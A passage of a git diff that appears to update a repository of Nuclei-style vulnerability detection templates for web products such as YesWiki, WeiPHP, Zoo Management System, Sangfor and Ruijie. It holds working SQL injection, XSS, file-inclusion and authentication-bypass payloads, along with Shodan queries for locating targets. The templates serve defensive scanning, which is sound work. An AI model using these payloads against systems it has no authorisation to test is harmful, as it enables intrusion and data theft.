'Logon' parameter. reference: - https://www.exploit-db.com/exploits/36821 - tags: webui,rce + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: webui,rce,edb requests: - method: GET @@ -23,4 +27,6 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/other/weiphp-sql-injection.yaml b/vulnerabilities/other/weiphp-sql-injection.yaml new file mode 100644 index 0000000000..2bc2a7db7b --- /dev/null +++ b/vulnerabilities/other/weiphp-sql-injection.yaml @@ -0,0 +1,28 @@ +id: weiphp-sql-injection + +info: + name: WeiPHP 5.0 SQLI + author: pikpikcu + severity: high + reference: + - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md + metadata: + verified: true + shodan-query: http.html:"WeiPHP5.0" + tags: weiphp,sql + +requests: + - method: POST + path: + - "{{BaseURL}}/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--+ " + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "52c69e3a57331081823331c4e69d3f2" + + - type: status + status: + - 500 diff --git a/vulnerabilities/other/wems-manager-xss.yaml b/vulnerabilities/other/wems-manager-xss.yaml index 951a568d3d..de8358ea18 100644 --- a/vulnerabilities/other/wems-manager-xss.yaml +++ b/vulnerabilities/other/wems-manager-xss.yaml @@ -8,7 +8,7 @@ info: 'email' parameter. reference: - https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html - tags: xss + tags: xss,packetstorm requests: - method: GET diff --git a/vulnerabilities/other/wuzhicms-sqli.yaml b/vulnerabilities/other/wuzhicms-sqli.yaml index 2fea61f35d..c2ac9bb32e 100644 --- a/vulnerabilities/other/wuzhicms-sqli.yaml +++ b/vulnerabilities/other/wuzhicms-sqli.yaml @@ -8,18 +8,21 @@ info: - https://github.com/wuzhicms/wuzhicms/issues/184 tags: wuzhicms,sqli +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20" + - "{{BaseURL}}/api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5({{num}})),0x7e),1)--%20" + matchers-condition: and matchers: + - type: word + words: + - '{{md5({{num}})}}' + part: body + - type: status status: - 200 - - type: word - words: - - "81dc9bdb52d04dc20036dbd8313ed05" - - "sql_error:MySQL Query Error" - part: body - condition: and diff --git a/vulnerabilities/other/xdcms-sqli.yaml b/vulnerabilities/other/xdcms-sqli.yaml index aff7f9d904..d2b077214b 100644 --- a/vulnerabilities/other/xdcms-sqli.yaml +++ b/vulnerabilities/other/xdcms-sqli.yaml @@ -8,6 +8,9 @@ info: - https://www.uedbox.com/post/35188/ tags: sqli,xdcms +variables: + num: "999999999" + requests: - method: POST path: @@ -15,7 +18,7 @@ requests: headers: Content-Type: application/x-www-form-urlencoded body: | - username=dd' or extractvalue(0x0a,concat(0x0a,810663301*872821376))#&password=dd&submit=+%B5%C7+%C2%BC+ + username=dd' or extractvalue(0x0a,concat(0x0a,md5({{num}})))#&password=dd&submit=+%B5%C7+%C2%BC+ matchers-condition: and matchers: @@ -27,10 +30,8 @@ requests: - type: word words: - - "707564257851522176" - - "XPATH syntax error:" + - '{{md5({{num}})}}' part: body - condition: and - type: status status: diff --git a/vulnerabilities/other/xerox-efi-lfi.yaml b/vulnerabilities/other/xerox-efi-lfi.yaml index 3bed6e8b43..234388020b 100644 --- a/vulnerabilities/other/xerox-efi-lfi.yaml +++ b/vulnerabilities/other/xerox-efi-lfi.yaml @@ -1,16 +1,19 @@ id: xerox-efi-lfi info: - name: Xerox DC260 EFI Fiery Controller Webtools 2.0 - Arbitrary File Disclosure + name: Xerox DC260 EFI Fiery Controller Webtools 2.0 - Local File Inclusion author: gy741 severity: high - description: Input passed thru the 'file' GET parameter in 'forceSave.php' script is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary - files on the affected system. + description: Xerox DC260 EFI Fiery Controller Webtools 2.0 is vulnerable to local file inclusion because input passed thru the 'file' GET parameter in 'forceSave.php' script is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5447.php - https://packetstormsecurity.com/files/145570 - https://www.exploit-db.com/exploits/43398/ - tags: iot,xerox,disclosure,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: iot,xerox,disclosure,lfi,packetstorm,edb requests: - method: GET @@ -26,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/yapi-rce.yaml b/vulnerabilities/other/yapi-rce.yaml index 0078f2b883..c692a17842 100644 --- a/vulnerabilities/other/yapi-rce.yaml +++ b/vulnerabilities/other/yapi-rce.yaml @@ -1,15 +1,19 @@ id: yapi-rce info: - name: Yapi Remote Code Execution + name: Yapi - Remote Code Execution author: pikpikcu severity: critical - description: A vulnerability in Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code. + description: Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code. reference: - https://www.secpulse.com/archives/162502.html - https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b - https://twitter.com/sec715/status/1415484190561161216 - https://github.com/YMFE/yapi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: yapi,rce requests: @@ -19,7 +23,7 @@ requests: Host: {{Hostname}} Content-Type: application/json;charset=UTF-8 - {"email":"{{randstr}}@example.com","password":"{{randstr}}","username":"{{randstr}}"} + {"email":"{{randstr}}@interact.sh","password":"{{randstr}}","username":"{{randstr}}"} - | # REQUEST 2 GET /api/group/list HTTP/1.1 @@ -91,3 +95,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/other/yeswiki-sql.yaml b/vulnerabilities/other/yeswiki-sql.yaml new file mode 100644 index 0000000000..5a438d3856 --- /dev/null +++ b/vulnerabilities/other/yeswiki-sql.yaml @@ -0,0 +1,33 @@ +id: yeswiki-sql + +info: + name: YesWiki - SQL Injection + author: arafatansari + severity: critical + description: | + YesWiki before 2022-07-07 allows SQL Injection via the "id" parameter in the AccueiL URL. + reference: + - https://huntr.dev/bounties/32e27955-376a-48fe-9984-87dd77e24985/ + metadata: + verified: true + shodan-query: http.html:"yeswiki" + tags: yeswiki,sqli,huntr + +variables: + num: "999999999" + +requests: + - method: GET + path: + - '{{BaseURL}}/?PagePrincipale/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+concat_ws(0x207c20,md5({{num}}),1,user()))))--+-' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'c8c605999f3d8352d7bb792cf3f' + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/yeswiki-stored-xss.yaml b/vulnerabilities/other/yeswiki-stored-xss.yaml new file mode 100644 index 0000000000..12ecd2ed31 --- /dev/null +++ b/vulnerabilities/other/yeswiki-stored-xss.yaml @@ -0,0 +1,65 @@ +id: yeswiki-stored-xss + +info: + name: YesWiki - Stored Cross-Site Scripting + author: arafatansari + severity: medium + description: | + YesWiki is vulnerable to Stored XSS via bf_text field when add a new entry for Forum. + reference: + - https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/ + metadata: + verified: true + shodan-query: http.html:"yeswiki" + tags: yeswiki,xss,stored,huntr + +requests: + - raw: + - | + POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT8dS2PT0WtxACLyu + + ------WebKitFormBoundaryT8dS2PT0WtxACLyu + Content-Disposition: form-data; name="bf_titre" + + blog + ------WebKitFormBoundaryT8dS2PT0WtxACLyu + Content-Disposition: form-data; name="bf_text" + + "> + ------WebKitFormBoundaryT8dS2PT0WtxACLyu + Content-Disposition: form-data; name="file"; filename="" + Content-Type: application/octet-stream + + ------WebKitFormBoundaryT8dS2PT0WtxACLyu + Content-Disposition: form-data; name="bf_description" + + abcd + ------WebKitFormBoundaryT8dS2PT0WtxACLyu + Content-Disposition: form-data; name="fichierbf_file"; filename="" + Content-Type: application/octet-stream + + ------WebKitFormBoundaryT8dS2PT0WtxACLyu + Content-Disposition: form-data; name="antispam" + + 1 + ------WebKitFormBoundaryT8dS2PT0WtxACLyu + Content-Disposition: form-data; name="id_typeannonce" + + 2 + ------WebKitFormBoundaryT8dS2PT0WtxACLyu-- + + - | + GET /?BazaR&vue=consulter HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + matchers: + - type: dsl + dsl: + - "contains(all_headers_2, 'text/html') && contains(all_headers_2, 'YesWiki')" + - "status_code_2 == 200" + - contains(body_2, '>') + condition: and diff --git a/vulnerabilities/other/yeswiki-xss.yaml b/vulnerabilities/other/yeswiki-xss.yaml new file mode 100644 index 0000000000..a46b0a9f68 --- /dev/null +++ b/vulnerabilities/other/yeswiki-xss.yaml @@ -0,0 +1,37 @@ +id: yeswiki-xss + +info: + name: yeswiki/yeswiki - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + YesWiki before 2022-07-07 allows Reflected Cross-site Scripting via the "id" parameter in the AccueiL URL. + reference: + - https://huntr.dev/bounties/de4db96c-2717-4c0e-b7aa-eee756ca19d3/ + metadata: + verified: true + shodan-query: http.html:"yeswiki" + tags: yeswiki,unauth,huntr,cve,cve2022,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/?PagePrincipale/rss&id=1%27%3Cscript%3Ealert(document.domain)%3C/script%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "Query failed:" + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/yishaadmin-lfi.yaml b/vulnerabilities/other/yishaadmin-lfi.yaml index 3d516701fa..13bfe758b8 100644 --- a/vulnerabilities/other/yishaadmin-lfi.yaml +++ b/vulnerabilities/other/yishaadmin-lfi.yaml @@ -1,14 +1,18 @@ id: yishaadmin-lfi info: - name: yishaadmin path traversal + name: yishaadmin - Local File Inclusion author: Evan Rubinstein severity: high - description: An endpoint in yshaadmin "/admin/File/DownloadFile" was improperly secured, allowing for files to be downloaded, read or deleted without any authentication. + description: yishaadmin is vulnerable to local file inclusion via the "/admin/File/DownloadFile" endpoint and allows files to be downloaded, read or deleted without any authentication. reference: - https://huntr.dev/bounties/2acdd87a-12bd-4ce4-994b-0081eb908128/ - https://github.com/liukuo362573/YiShaAdmin/blob/master/YiSha.Util/YiSha.Util/FileHelper.cs#L181-L186 - tags: lfi,yishaadmin + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,yishaadmin,huntr requests: - raw: @@ -25,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/zcms-v3-sqli.yaml b/vulnerabilities/other/zcms-v3-sqli.yaml index 61c4b5440d..b6d7eb9e14 100644 --- a/vulnerabilities/other/zcms-v3-sqli.yaml +++ b/vulnerabilities/other/zcms-v3-sqli.yaml @@ -8,16 +8,21 @@ info: - https://www.anquanke.com/post/id/183241 tags: zcms,sqli +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(202072102)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b'" + - "{{BaseURL}}/admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5({{num}})%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b'" + matchers-condition: and matchers: + - type: word + words: + - '{{md5({{num}})}}' + part: body + - type: status status: - 200 - - type: word - words: - - "6f7c6dcbc380aac3bcba1f9fccec991e" - part: body diff --git a/vulnerabilities/other/zimbra-preauth-ssrf.yaml b/vulnerabilities/other/zimbra-preauth-ssrf.yaml index cb99a3ac7a..6beb74e792 100644 --- a/vulnerabilities/other/zimbra-preauth-ssrf.yaml +++ b/vulnerabilities/other/zimbra-preauth-ssrf.yaml @@ -1,12 +1,19 @@ id: zimbra-preauth-ssrf info: - name: Zimbra Collaboration Suite (ZCS) - SSRF + name: Zimbra Collaboration Suite - Server-Side Request Forgery author: gy741 severity: critical - description: A vulnerability in Zimbra Collaboration Suite allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code. + description: Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code. reference: - https://www.adminxe.com/2183.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-7796 + - https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-7796 + cwe-id: CWE-918 tags: zimbra,ssrf,oast requests: @@ -21,3 +28,5 @@ requests: part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/other/zms-auth-bypass.yaml b/vulnerabilities/other/zms-auth-bypass.yaml index 86b727fd15..15b5b8aa2d 100644 --- a/vulnerabilities/other/zms-auth-bypass.yaml +++ b/vulnerabilities/other/zms-auth-bypass.yaml @@ -7,7 +7,7 @@ info: description: A vulnerability in Zoo Management allows remote attackers to bypass the authentication mechanism via an SQL injection vulnerability. reference: - https://www.exploit-db.com/exploits/48880 - tags: auth-bypass,zms + tags: zms,edb,auth-bypass requests: - raw: diff --git a/vulnerabilities/other/zms-sqli.yaml b/vulnerabilities/other/zms-sqli.yaml new file mode 100644 index 0000000000..43aed3d585 --- /dev/null +++ b/vulnerabilities/other/zms-sqli.yaml @@ -0,0 +1,38 @@ +id: zms-sqli + +info: + name: Zoo Management System (ZMS) 1.0 - SQLi Authentication Bypass + author: arafatansari + severity: high + description: | + Zoo Management System Login page can be bypassed with a simple SQLi to the username parameter. + reference: + - https://www.exploit-db.com/exploits/48880 + metadata: + verified: true + tags: zms,sqli,auth-bypass,cms,edb + +requests: + - raw: + - | + POST /admin/index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=admin%27+or+%271%27%3D%271&password=any&login= + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'ZMS ADMIN' + - 'Dashboard' + - 'Zoo Management System' + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/zzcms-xss.yaml b/vulnerabilities/other/zzcms-xss.yaml new file mode 100644 index 0000000000..c6ae32d33b --- /dev/null +++ b/vulnerabilities/other/zzcms-xss.yaml @@ -0,0 +1,34 @@ +id: zzcms-xss + +info: + name: ZZCMS - Cross-Site Scripting + author: ritikchaddha + severity: medium + reference: + - https://github.com/JcQSteven/blog/issues/20 + metadata: + verified: true + tags: zzcms,xss,authenticated + +requests: + - raw: + - | + POST /admin/logincheck.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + admin={{username}}&pass={{password}} + + - | + GET /admin/usermodify.php?id=1%22%2balert(document.domain)%2b%22 HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + req-condition: true + matchers: + - type: dsl + dsl: + - "contains(all_headers_2, 'text/html')" + - "status_code_2 == 200" + - 'contains(body_2, "ๅ‚ๆ•ฐ 1\"+alert(document.domain)+")' + condition: and diff --git a/vulnerabilities/rails/rails6-xss.yaml b/vulnerabilities/rails/rails6-xss.yaml index 6bc1c7b911..b82d75b3a2 100644 --- a/vulnerabilities/rails/rails6-xss.yaml +++ b/vulnerabilities/rails/rails6-xss.yaml @@ -12,7 +12,7 @@ info: severity: medium reference: - https://hackerone.com/reports/904059 - tags: rails,xss,crlf + tags: rails,xss,crlf,hackerone requests: - method: POST diff --git a/vulnerabilities/rocketchat/unauth-message-read.yaml b/vulnerabilities/rocketchat/unauth-message-read.yaml index 5ec32d7a37..3a44f3825f 100644 --- a/vulnerabilities/rocketchat/unauth-message-read.yaml +++ b/vulnerabilities/rocketchat/unauth-message-read.yaml @@ -1,12 +1,18 @@ id: rocketchat-unauth-access info: - name: RocketChat Unauthenticated Read Access + name: RocketChat Live Chat - Unauthenticated Read Access author: rojanrijal - severity: critical - description: An issue with the Live Chat accepting invalid parameters could potentially allow unauthenticated access to messages and user tokens. + severity: high + description: RocketChat Live Chat accepts invalid parameters that could potentially allow unauthenticated access to messages and user tokens. reference: - https://docs.rocket.chat/guides/security/security-updates + - https://securifyinc.com/disclosures/rocketchat-unauthenticated-access-to-messages + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-522 + remediation: Fixed in versions 3.11, 3.10.5, 3.9.7, and 3.8.8. tags: rocketchat,unauth requests: @@ -30,12 +36,16 @@ requests: matchers-condition: and matchers: - - type: status - status: - - 200 + - type: word + part: body words: - '"{\"msg\":\"result\",\"result\":{\"messages\"' - '"success":true' - part: body condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/03 \ No newline at end of file diff --git a/vulnerabilities/royalevent/royalevent-management-xss.yaml b/vulnerabilities/royalevent/royalevent-management-xss.yaml new file mode 100644 index 0000000000..5a17561fa5 --- /dev/null +++ b/vulnerabilities/royalevent/royalevent-management-xss.yaml @@ -0,0 +1,72 @@ +id: royalevent-management-xss + +info: + name: Royal Event - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + Detects an XSS vulnerability in Royal Event System + reference: + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip + metadata: + verified: true + tags: xss,authenticated,cms,royalevent + +requests: + - raw: + - | + POST /royal_event/ HTTP/1.1 + Host: {{Hostname}} + Content-Length: 353 + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD + + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="username" + + {{username}} + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="password" + + {{password}} + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="login" + + + ------WebKitFormBoundaryCSxQll1eihcqgIgD-- + + - | + POST /royal_event/btndates_report.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD + + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="todate" + + 2022-12-22 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="search" + + 3 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="fromdate" + + 2022-06-22 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD-- + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + words: + - "" + - "Report from " + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/royalevent/royalevent-stored-xss.yaml b/vulnerabilities/royalevent/royalevent-stored-xss.yaml new file mode 100644 index 0000000000..2878bfff38 --- /dev/null +++ b/vulnerabilities/royalevent/royalevent-stored-xss.yaml @@ -0,0 +1,32 @@ +id: royalevent-stored-xss + +info: + name: Royale Event - Stored Cross-Site Scripting + author: ritikchaddha + severity: high + description: | + Detects an XSS vulnerability in Royal Event System + reference: + - https://packetstormsecurity.com/files/166479/Royale-Event-Management-System-1.0-Cross-Site-Scripting.html + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip + metadata: + verified: true + tags: xss,unauthenticated,cms,royalevent,packetstorm + +requests: + - raw: + - | + POST /royal_event/companyprofile.php HTTP/1.1 + Host: {{Hostname}} + + companyname=%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E®no=test&companyaddress=&companyemail=&country=India&mobilenumber=1234567899&submit= + + matchers-condition: and + matchers: + - type: word + words: + - 'value=">" >' + + - type: status + status: + - 302 diff --git a/vulnerabilities/ruijie/ruijie-eg-rce.yaml b/vulnerabilities/ruijie/ruijie-eg-rce.yaml index 236a2e9889..af8c7d83ad 100644 --- a/vulnerabilities/ruijie/ruijie-eg-rce.yaml +++ b/vulnerabilities/ruijie/ruijie-eg-rce.yaml @@ -1,14 +1,17 @@ id: ruijie-eg-rce info: - name: Ruijie EG cli.php RCE + name: Ruijie EG - Remote Code Execution author: pikpikcu severity: critical - description: A vulnerability in Ruikie EG's cli.php end point allows remote unauthenticated attackers to gain 'admin' privileges. The vulnerability is exploitable because an unauthenticated user can gain 'admin' - privileges due to a vulnerability in the login screen. + description: Ruikie EG's cli.php end point allows remote unauthenticated attackers to gain 'admin' privileges. The vulnerability is exploitable because an unauthenticated user can gain 'admin' privileges due to a vulnerability in the login screen. reference: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md - https://www.ruijienetworks.com + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: ruijie,rce requests: @@ -54,3 +57,5 @@ requests: internal: true regex: - 'admin ([a-zA-Z0-9#@]+)",' + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/ruijie/ruijie-networks-lfi.yaml b/vulnerabilities/ruijie/ruijie-networks-lfi.yaml index 796119899a..d5ff6505d1 100644 --- a/vulnerabilities/ruijie/ruijie-networks-lfi.yaml +++ b/vulnerabilities/ruijie/ruijie-networks-lfi.yaml @@ -1,13 +1,17 @@ id: ruijie-networks-lfi info: - name: Ruijie Networks Switch eWeb S29_RGOS 11.4 LFI + name: Ruijie Networks Switch eWeb S29_RGOS 11.4 - Local File Inclusion author: pikpikcu severity: high - description: A vulnerability in Ruijie Networks Switch allows remote unauthenticated attackers to access locally stored files and retrieve their content via the 'download.do' endpoint. + description: Ruijie Networks Switch eWeb S29_RGOS 11.4 is vulnerable to local file inclusion and allows remote unauthenticated attackers to access locally stored files and retrieve their content via the 'download.do' endpoint. reference: - https://exploit-db.com/exploits/48755 - tags: ruijie,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: ruijie,lfi,edb requests: - method: GET @@ -30,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/ruijie/ruijie-networks-rce.yaml b/vulnerabilities/ruijie/ruijie-networks-rce.yaml index 5285f1a570..bf405a66f3 100644 --- a/vulnerabilities/ruijie/ruijie-networks-rce.yaml +++ b/vulnerabilities/ruijie/ruijie-networks-rce.yaml @@ -1,12 +1,17 @@ id: ruijie-networks-rce info: - name: Ruijie Networks-EWEB Network Management System RCE + name: Ruijie Networks-EWEB Network Management System - Remote Code Execution author: pikpikcu + description: Ruijie Networks EWEB Network Management System is susceptible to remote code execution. severity: critical reference: - https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py - https://www.ruijienetworks.com + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: ruijie,rce,network requests: @@ -34,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/samsung/samsung-wlan-ap-lfi.yaml b/vulnerabilities/samsung/samsung-wlan-ap-lfi.yaml index 6a77076f13..b1d02e9f17 100644 --- a/vulnerabilities/samsung/samsung-wlan-ap-lfi.yaml +++ b/vulnerabilities/samsung/samsung-wlan-ap-lfi.yaml @@ -1,11 +1,16 @@ id: samsung-wlan-ap-lfi info: - name: Samsung Wlan AP (WEA453e) LFI + name: Samsung WLAN AP WEA453e - Local File Inclusion author: pikpikcu - severity: critical + severity: high + description: Samsung WLAN AP WEA453e is susceptible to local file inclusion vulnerabilities. reference: - - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ + - https://omriinbar.medium.com/samsung-wlan-ap-wea453e-vulnerabilities-7aa4a57d4dba + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-22 tags: xss,samsung,lfi requests: @@ -23,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/31 diff --git a/vulnerabilities/samsung/samsung-wlan-ap-rce.yaml b/vulnerabilities/samsung/samsung-wlan-ap-rce.yaml index 3d2ab419f2..cc6de82ce4 100644 --- a/vulnerabilities/samsung/samsung-wlan-ap-rce.yaml +++ b/vulnerabilities/samsung/samsung-wlan-ap-rce.yaml @@ -1,11 +1,16 @@ id: samsung-wlan-ap-rce info: - name: Samsung Wlan AP (WEA453e) RCE + name: Samsung WLAN AP WEA453e - Remote Code Execution author: pikpikcu severity: critical + description: Samsung WLAN AP WEA453e is vulnerable to a pre-auth root remote command execution vulnerability, which means an attacker could run code as root remotely without logging in. reference: - - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ + - https://omriinbar.medium.com/samsung-wlan-ap-wea453e-vulnerabilities-7aa4a57d4dba + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: xss,samsung,rce requests: @@ -25,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/31 diff --git a/vulnerabilities/samsung/samsung-wlan-ap-xss.yaml b/vulnerabilities/samsung/samsung-wlan-ap-xss.yaml index 05a6201a35..260922acbf 100644 --- a/vulnerabilities/samsung/samsung-wlan-ap-xss.yaml +++ b/vulnerabilities/samsung/samsung-wlan-ap-xss.yaml @@ -1,12 +1,12 @@ id: samsung-wlan-ap-xss info: - name: Samsung Wlan AP (WEA453e) XSS + name: Samsung Wlan AP (WEA453e) - Cross-Site Scripting author: pikpikcu severity: medium reference: - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ - tags: xss,samsung,xss + tags: xss,samsung requests: - method: GET @@ -27,4 +27,4 @@ requests: - type: word words: - "text/html" - part: header \ No newline at end of file + part: header diff --git a/vulnerabilities/sangfor/sangfor-ba-rce.yaml b/vulnerabilities/sangfor/sangfor-ba-rce.yaml new file mode 100644 index 0000000000..ea2aee22c7 --- /dev/null +++ b/vulnerabilities/sangfor/sangfor-ba-rce.yaml @@ -0,0 +1,36 @@ +id: sangfor-ba-rce + +info: + name: Sangfor BA - Remote Code Execution + author: ritikchaddha + severity: critical + description: | + Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands. + reference: + - https://mobile.twitter.com/sec715/status/1406886851072253953 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + metadata: + verified: true + fofa-query: app="sangfor" + tags: rce,sangfor + +requests: + - method: GET + path: + - "{{BaseURL}}/tool/log/c.php?strip_slashes=md5&host={{randstr}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5("{{randstr}}")}}' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/sangfor-edr-auth-bypass.yaml b/vulnerabilities/sangfor/sangfor-edr-auth-bypass.yaml similarity index 70% rename from vulnerabilities/other/sangfor-edr-auth-bypass.yaml rename to vulnerabilities/sangfor/sangfor-edr-auth-bypass.yaml index 43abcf1ad7..f92ce01d6f 100644 --- a/vulnerabilities/other/sangfor-edr-auth-bypass.yaml +++ b/vulnerabilities/sangfor/sangfor-edr-auth-bypass.yaml @@ -4,29 +4,36 @@ info: name: Sangfor EDR Authentication Bypass author: princechaddha severity: high - description: A vulnerability in Sangfor EDR allows remote attackers to access the system with 'admin' privileges by accessing the login page directly using a provided username rather than going through the login + description: | + A vulnerability in Sangfor EDR allows remote attackers to access the system with 'admin' privileges by accessing the login page directly using a provided username rather than going through the login screen without providing a username. + metadata: + fofa-query: app="sangfor" tags: sangfor,auth-bypass,login requests: - method: GET path: - "{{BaseURL}}/ui/login.php?user=admin" + matchers-condition: and matchers: + - type: word + part: body + words: + - "/download/edr_installer_" + + - type: word + part: header + words: + - 'Set-Cookie=""' + negative: true + + - type: word + part: header + words: + - 